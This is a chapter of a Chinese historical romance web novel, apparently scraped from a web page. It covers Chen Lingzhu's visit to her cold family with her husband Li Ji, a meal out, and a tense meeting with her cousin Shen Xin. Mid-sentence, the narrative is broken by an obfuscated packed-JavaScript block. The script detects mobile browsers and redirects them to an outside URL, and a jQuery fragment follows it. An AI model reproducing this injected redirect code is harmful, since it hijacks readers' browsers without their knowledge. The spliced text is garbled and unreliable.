趁着陈灵珠和李济在花厅说话的当口,陈进赶紧悄悄出了门。
但他出门偷偷摸摸,出来了却吩咐车夫去最热闹、最多臣僚喜欢去的醉仙楼。到了醉仙楼,他也不像往日一样要个安静的包厢独酌,而是选了一楼大厅之中最显眼的位置坐下,又不管熟与不熟,都面带微笑与前后左右招呼致意。
同在一楼大厅喝酒的还有工部员外郎梁为等人,见他像变了个人似的,不禁瞪大了眼。
谁不知道,陈大人最是不苟言笑,整日双眉紧锁、苦大仇深,跟谁都欠他五百两似的,怎么今日一反常态,变得和蔼可亲、平易近人起来?
他们不知道,陈进这么做,属实是迫于无奈。
李济没有提前知会陈府,今日却突然陪陈灵珠回门,又大张旗鼓地恨不得让天下人都知道,无非是要将他绑在镇国公府这条船上——他之前弹劾李济是为了与李济撇清关系,李济偏不让他如愿,反将一军。
陛下多疑,知道李济这般去了陈府,只怕会对他起疑心。
李济这是要他见恶于陛下,让他与陛下离心。
陈进头痛不已,这李济,年纪轻轻的,城府却不容小觑。
也怪他一念之差,当初就应该果断抗旨,连陈灵珠这个二女儿也不嫁给他,杜绝任何与镇国公府扯上关系的可能。
可惜如今后悔已是迟了,陈灵珠已经嫁给了李济,无论如何撇清,他与李济都是翁婿。
所以他只能亡羊补牢,赶紧从陈府出来,一是表明态度,二是想让这些醉仙楼看过他的人为他作证,他在李济去陈府那一日,不在陈府之中,断无可能与李济有什么交往,更不可能与李济密谋些什么。
被李济噎了几次后,陈夫人支应不住,叫来了大儿子——陈灵珠的大弟陈璘作陪。
陈璘十三岁,与陈灵珠仅隔两岁,但因父母不疼爱陈灵珠这个二姐姐的缘故,他与陈灵珠并不算亲近,也不知该跟与李济这样年纪虽轻却身经百战的将军说些什么,只能僵硬地一问一答。
见陈璘如此,陈灵珠越发觉得没意思,提出要去陈家的祠堂拜祭陈家的祖先。
只要不用面对他们,陈夫人觉得怎么都好,忙道:“应该的、应该的。”
连忙吩咐管家安排下去。
到了祠堂,陈灵珠与李济各自拈了香,站在陈家祖先的牌位前。
“祖母、祖父。”陈灵珠道:“孙女儿已经成了亲,与夫婿来看你们了。”
她想到从前,眼泪盈上眼眶。从前祖母在的时候,她受了委屈,还能跑到祖母的屋子里,伏在祖母的怀里痛哭一场。
但后来祖母病逝,除了奶娘,陈家就再也没有能让她哭的怀抱了。
“祖母、祖父,”李济恭恭敬敬地将香举到身前,“小子是珠儿的丈夫,你们的孙女婿李济。祖母、祖父但请放心,孙女婿以后会好好待珠儿,不会让她如从前一般受委屈。”
站在一旁忽然中了冷刀子的陈夫人:“……”
如从前一般受委屈?拜祭祖先便拜祭祖先罢,提从前做什么!
陈灵珠转头看他,他也转头对她笑了笑,然后回过头,对着陈灵珠祖父母的牌位拜了三拜,将香插在香炉里。
拜祭完祖先,陈灵珠看了看刻漏,提出告辞。
陈夫人暗暗松了一口气,连假意挽留都没有,连忙送他们出门。
陈灵珠上了马车,连头也没回。
马车辘辘前行,李济看她双唇紧抿,有些于心不忍,温声道:“你若是不喜欢回陈家,以后我们不来了。”
陈灵珠沉默着,过了好一会儿,她点头:“好。”
李济叫住车夫,让他改道去永宁街。
陈灵珠不知他为何突然要去永宁街,疑惑地看着他,他道:“永宁街有一家新开的酒楼,叫聚味楼,我与你去试试。”
陈府并没有留他们用膳,他们若是这个时辰回去让厨房做吃的,难保不会传出点什么来。
祖母和母亲那里虽不要紧,二婶却是个爱说闲话的,得知此事,定会冷嘲热讽几句。
这种话虽然不痛不痒,她也未必在意,但能避免还是避免的好。
聚味楼的几道新菜式和点心味道不错,这个小女子素来是喜欢吃的,去试试新菜,也许能让她从高兴起来。
陈灵珠没反对,她饿了,此时也确实需要美味的食物让自己开怀。
没多久聚味楼到了,陈灵珠下了车,与李济才踏入门槛,早有机灵的伙计迎了上来,将他们引到二楼的厢房。
陈灵珠见这聚味楼环境清幽,丝竹声隐隐入耳,紧绷的身体也放松了下来。
李济点了聚味楼的几道招牌菜如周八珍、驼蹄羹、浑羊殁忽、松鼠鳜鱼等,再点了几样冷盘,知陈灵珠喜欢甜食,又点了白玉酥、紫云糕、梅花香饼、酥山等几样,然后问陈灵珠:“你看看可要加什么?”
陈灵珠虽然爱吃,但胃口不大,便只叫了一壶酒。
等酒菜上来,热冷盘和几样甜品依次下肚,她便将一切的烦恼都抛之脑后。本想喝几杯小酒的,但才小呷了一杯,她就放弃了。
这点烦闷,实在无须借酒消愁。何况她不胜酒力,算了罢。
李济见她不再闷闷不乐,恢复如平日一样笑意盈盈的模样,松了一口气。
从聚味楼出来,两人也不用马车,就这么慢慢往镇国公府走,紫苏等人远远跟在后面。两人都是相貌出色之人,这么并行在路上,引得不少路人侧目。
正走着,突然听到一个温柔低沉的男声唤陈灵珠:“珠儿?”
陈灵珠回头一看,是表兄沈信。
自从那日离了沈宅,这一个多月来,她都没有再见过沈信。为了避嫌,她甚至没有过多去打听春闱的消息。
但即使她没有刻意关注,杏榜贴出来后,她还是知道沈信中了二甲第十七名。
名次虽不及预期,但进士及第,也算有了交代。
再看沈信,虽然仍然清瘦,但比起之前,脸色已好看了许多。
沈信见到陈灵珠,颇有些喜出望外,小跑两步上前,笑道:“珠儿,没想到在这里遇见你。”
陈灵珠微笑道:“我也没想到能遇到表兄。对了,还未恭喜表兄高中进士。”
沈信的表情微微一黯,道:“没能考得更好,让你们失望了。”
陈灵珠笑道:“表兄何出此言?能中进士已是万中无一,表兄又何必妄自菲薄?”
李济见一个年轻的男子跑了过来,眼神热切,唤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759866|190011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的妻子“珠儿”,而陈灵珠称他为“表兄”,略略一想,便知道这个人是谁了。
对于沈信,他从未看在眼里,即使他中了进士。不过眼下看他,长得确实眉清目秀,也称得上一表人才。
一袭青衫又让他格外有读书人的气韵,看上去也有几分君子的翩翩风度。
某些小姑娘,譬如李照槿,就对这一类男子格外有好感。
他倒不是担心什么,毕竟他远胜这沈信,只要不是眼瞎,就会知道该怎么选。
若无其事地执起陈灵珠的手,他云淡风轻地笑问:“珠儿,这位是?”
沈信这才发现李济在旁。
他曾远观过李济,但如此近看,还是第一次。
饶是他心中有些不忿,也不得不承认,即使抛却家世不论,李济也是个极出色的男子,一身的气度颇为摄人。
但那又如何,他与珠儿之间的情分,不是这个人能够比拟的。
陈灵珠见李济突然在沈信面前牵起她的手,心中不免为他突如其来的亲昵奇怪,略想了想,断定李济是方才演大戏演得入迷,一时未能从中抽身。两人既为夫妇,表兄面前,她也不好用力挣开他的手,便由他牵着,介绍道:“世子,这是我二姑母家的表兄,沈信。”
此言一出,李济、沈信二人都微不可察地蹙了蹙眉,一个觉得她叫“世子”太显生疏,一个为自己仅被称为“二姑母家的表兄”而黯然。
不过二人面上都不显,沈信对李济施礼道:“在下沈信,见过世子。”
李济微笑还礼:“原来是沈兄,久仰。”
沈信道:“听闻世子受了伤,不知如今可好了?”
(不会影响到身体和前程罢?)
李济客气道:“多谢沈兄关心,一点小伤,不足挂齿。沈兄铨选在即,若有需要帮忙之处,尽管开口。”
(我的伤无大碍,而你虽然中了进士,但与我相比,还差得远。)
沈信当然说不必,两人含沙射影地你来我往数回合,陈灵珠见几人在人来人往的道路之上,实在不是说话的地方,便对沈信道:“表兄,我们还有事,就先失陪了,改日再登门看望姑母和姑父,表兄替我们问两位长辈好。”
李济听到陈灵珠说改日去沈家,虽知多半是客气话,心里仍有些不舒服,不过,她说的是“我们”,这就将他与沈信区分开了。
至于沈信,“我们”二字更提醒他陈灵珠已经嫁给李济的事实,心中疼痛不已。但目前他也无计可施,只能压下心中酸涩,应道:“如此,我便告辞了。”
与沈信分开,李济仍然牵着陈灵珠的手没放,她叫他:“世子?”
观者已走,可以放开了。
他嗯了一声,却还是没有松开。
她以为他忘了,点点下巴示意他还拉着她的手,他低头看了一眼,却笑着紧了紧手指,牵着她往前:“我还是扶着你罢,你酒量太差,方才喝的酒都上脸了,万一摔着了,祖母岂不责怪?”
陈灵珠确实酒量不佳,此时虽不至于头重脚轻,但脸果然如他所言有些发热,人也有些飘,便也没有反对,由他牵着她的手。
李济微微偏头向外,笑了笑,又转回头,扣紧她的手轻轻甩了甩道:“走罢。”